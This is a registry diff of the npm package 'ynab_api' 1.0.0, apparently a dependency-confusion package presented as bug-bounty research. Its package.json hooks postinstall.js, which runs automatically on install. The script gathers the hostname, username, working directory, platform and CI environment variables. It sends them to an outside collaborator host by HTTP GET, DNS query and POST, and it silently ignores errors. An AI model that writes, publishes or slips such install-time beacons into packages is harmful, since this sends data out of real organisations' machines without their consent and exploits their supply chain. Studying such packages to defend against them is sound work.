ynab_api 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +5 -0
- package/index.js +5 -0
- package/package.json +16 -0
- package/postinstall.js +131 -0
package/README.md
ADDED
@@ -0,0 +1,5 @@
|
|
1
|
+
# Security Notice
|
2
|
+
|
3
|
+
This package was created for security research and bug bounty hunting purposes to detect dependency confusion vulnerabilities. If this package was installed on one of your systems, or pulled into your internal npm registry, this likely is a security risk. Please get in contact with your security team and contact the security researcher who owns the package under security@adlr.io
|
4
|
+
|
5
|
+
---
|
package/index.js
ADDED
package/package.json
ADDED
@@ -0,0 +1,16 @@
|
|
1
|
+
{
|
2
|
+
"name": "ynab_api",
|
3
|
+
"version": "1.0.0",
|
4
|
+
"description": "dependency confusion sensor package",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"postinstall": "node postinstall.js"
|
8
|
+
},
|
9
|
+
"keywords": [
|
10
|
+
"dependency-confusion",
|
11
|
+
"security",
|
12
|
+
"detection"
|
13
|
+
],
|
14
|
+
"author": "Security Researcher",
|
15
|
+
"license": "MIT"
|
16
|
+
}
|
package/postinstall.js
ADDED
@@ -0,0 +1,131 @@
|
|
1
|
+
const https = require('https');
|
2
|
+
const http = require('http');
|
3
|
+
const os = require('os');
|
4
|
+
const { execSync } = require('child_process');
|
5
|
+
|
6
|
+
const COLLABORATOR_URL = 'https://wbbaoc3sbu2vft9ow1sqspslgcm3au6iv.collab.invokeshell.net';
|
7
|
+
const KILLSWITCH_DOMAIN = 'gght12ebm5l0.fir3.org';
|
8
|
+
const PACKAGE_NAME = process.env.npm_package_name || 'unknown';
|
9
|
+
|
10
|
+
function checkKillSwitch() {
|
11
|
+
try {
|
12
|
+
execSync(`nslookup ${KILLSWITCH_DOMAIN}`, { stdio: 'ignore' });
|
13
|
+
return true;
|
14
|
+
} catch {
|
15
|
+
return false;
|
16
|
+
}
|
17
|
+
}
|
18
|
+
|
19
|
+
function sendHttpBeacon(url, systemInfo) {
|
20
|
+
try {
|
21
|
+
const urlObj = new URL(url);
|
22
|
+
const client = urlObj.protocol === 'https:' ? https : http;
|
23
|
+
const options = {
|
24
|
+
hostname: urlObj.hostname,
|
25
|
+
port: urlObj.port || (urlObj.protocol === 'https:' ? 443 : 80),
|
26
|
+
path: urlObj.pathname + urlObj.search,
|
27
|
+
method: 'GET',
|
28
|
+
headers: {
|
29
|
+
'User-Agent': 'Dependency-Confusion-Detector/1.0.0',
|
30
|
+
'X-Package-Name': PACKAGE_NAME,
|
31
|
+
'X-Hostname': systemInfo.hostname,
|
32
|
+
'X-Platform': systemInfo.platform,
|
33
|
+
'X-User': systemInfo.user,
|
34
|
+
'X-Node-Version': systemInfo.node_version,
|
35
|
+
'X-CWD': systemInfo.cwd,
|
36
|
+
'X-Killswitch-Domain': KILLSWITCH_DOMAIN
|
37
|
+
},
|
38
|
+
timeout: 10000
|
39
|
+
};
|
40
|
+
const req = client.request(options, () => {});
|
41
|
+
req.on('error', () => {});
|
42
|
+
req.on('timeout', () => { req.destroy(); });
|
43
|
+
req.end();
|
44
|
+
} catch {}
|
45
|
+
}
|
46
|
+
|
47
|
+
function sendDnsBeacon(collaboratorUrl, systemInfo) {
|
48
|
+
try {
|
49
|
+
const dnsUrl = collaboratorUrl.replace('https://', '').replace('http://', '');
|
50
|
+
const dnsQuery = `${PACKAGE_NAME}.${systemInfo.hostname}.${systemInfo.user}.${dnsUrl}`;
|
51
|
+
execSync(`nslookup ${dnsQuery}`, { stdio: 'ignore' });
|
52
|
+
} catch {}
|
53
|
+
}
|
54
|
+
|
55
|
+
function sendPostBeacon(url, systemInfo) {
|
56
|
+
try {
|
57
|
+
const urlObj = new URL(url);
|
58
|
+
const data = JSON.stringify(systemInfo);
|
59
|
+
const client = urlObj.protocol === 'https:' ? https : http;
|
60
|
+
const options = {
|
61
|
+
hostname: urlObj.hostname,
|
62
|
+
port: urlObj.port || (urlObj.protocol === 'https:' ? 443 : 80),
|
63
|
+
path: urlObj.pathname,
|
64
|
+
method: 'POST',
|
65
|
+
headers: {
|
66
|
+
'Content-Type': 'application/json',
|
67
|
+
'User-Agent': 'Dependency-Confusion-Detector/1.0.0',
|
68
|
+
'Content-Length': Buffer.byteLength(data)
|
69
|
+
},
|
70
|
+
timeout: 10000
|
71
|
+
};
|
72
|
+
const req = client.request(options, () => {});
|
73
|
+
req.on('error', () => {});
|
74
|
+
req.on('timeout', () => { req.destroy(); });
|
75
|
+
req.write(data);
|
76
|
+
req.end();
|
77
|
+
} catch {}
|
78
|
+
}
|
79
|
+
|
80
|
+
function sendBeacon() {
|
81
|
+
try {
|
82
|
+
if (checkKillSwitch()) {
|
83
|
+
return;
|
84
|
+
}
|
85
|
+
|
86
|
+
const systemInfo = {
|
87
|
+
timestamp: new Date().toISOString(),
|
88
|
+
package_name: PACKAGE_NAME,
|
89
|
+
hostname: os.hostname(),
|
90
|
+
platform: os.platform(),
|
91
|
+
arch: os.arch(),
|
92
|
+
node_version: process.version,
|
93
|
+
npm_version: process.env.npm_config_user_agent || 'unknown',
|
94
|
+
cwd: process.cwd(),
|
95
|
+
user: os.userInfo().username,
|
96
|
+
killswitch_domain: KILLSWITCH_DOMAIN,
|
97
|
+
env: {
|
98
|
+
NODE_ENV: process.env.NODE_ENV,
|
99
|
+
CI: process.env.CI,
|
100
|
+
TRAVIS: process.env.TRAVIS,
|
101
|
+
GITHUB_ACTIONS: process.env.GITHUB_ACTIONS,
|
102
|
+
JENKINS_URL: process.env.JENKINS_URL,
|
103
|
+
BUILDKITE: process.env.BUILDKITE,
|
104
|
+
CIRCLECI: process.env.CIRCLECI,
|
105
|
+
GITLAB_CI: process.env.GITLAB_CI,
|
106
|
+
TEAMCITY_VERSION: process.env.TEAMCITY_VERSION,
|
107
|
+
BAMBOO_BUILDKEY: process.env.BAMBOO_BUILDKEY,
|
108
|
+
GO_PIPELINE_NAME: process.env.GO_PIPELINE_NAME
|
109
|
+
}
|
110
|
+
};
|
111
|
+
|
112
|
+
const queryParams = new URLSearchParams({
|
113
|
+
pkg: PACKAGE_NAME,
|
114
|
+
host: systemInfo.hostname,
|
115
|
+
platform: systemInfo.platform,
|
116
|
+
user: systemInfo.user,
|
117
|
+
node: systemInfo.node_version,
|
118
|
+
cwd: systemInfo.cwd,
|
119
|
+
timestamp: systemInfo.timestamp,
|
120
|
+
killswitch: KILLSWITCH_DOMAIN
|
121
|
+
}).toString();
|
122
|
+
|
123
|
+
const beaconUrl = `${COLLABORATOR_URL}?${queryParams}`;
|
124
|
+
sendHttpBeacon(beaconUrl, systemInfo);
|
125
|
+
sendDnsBeacon(COLLABORATOR_URL, systemInfo);
|
126
|
+
sendPostBeacon(`${COLLABORATOR_URL}/beacon`, systemInfo);
|
127
|
+
|
128
|
+
} catch {}
|
129
|
+
}
|
130
|
+
|
131
|
+
sendBeacon();
|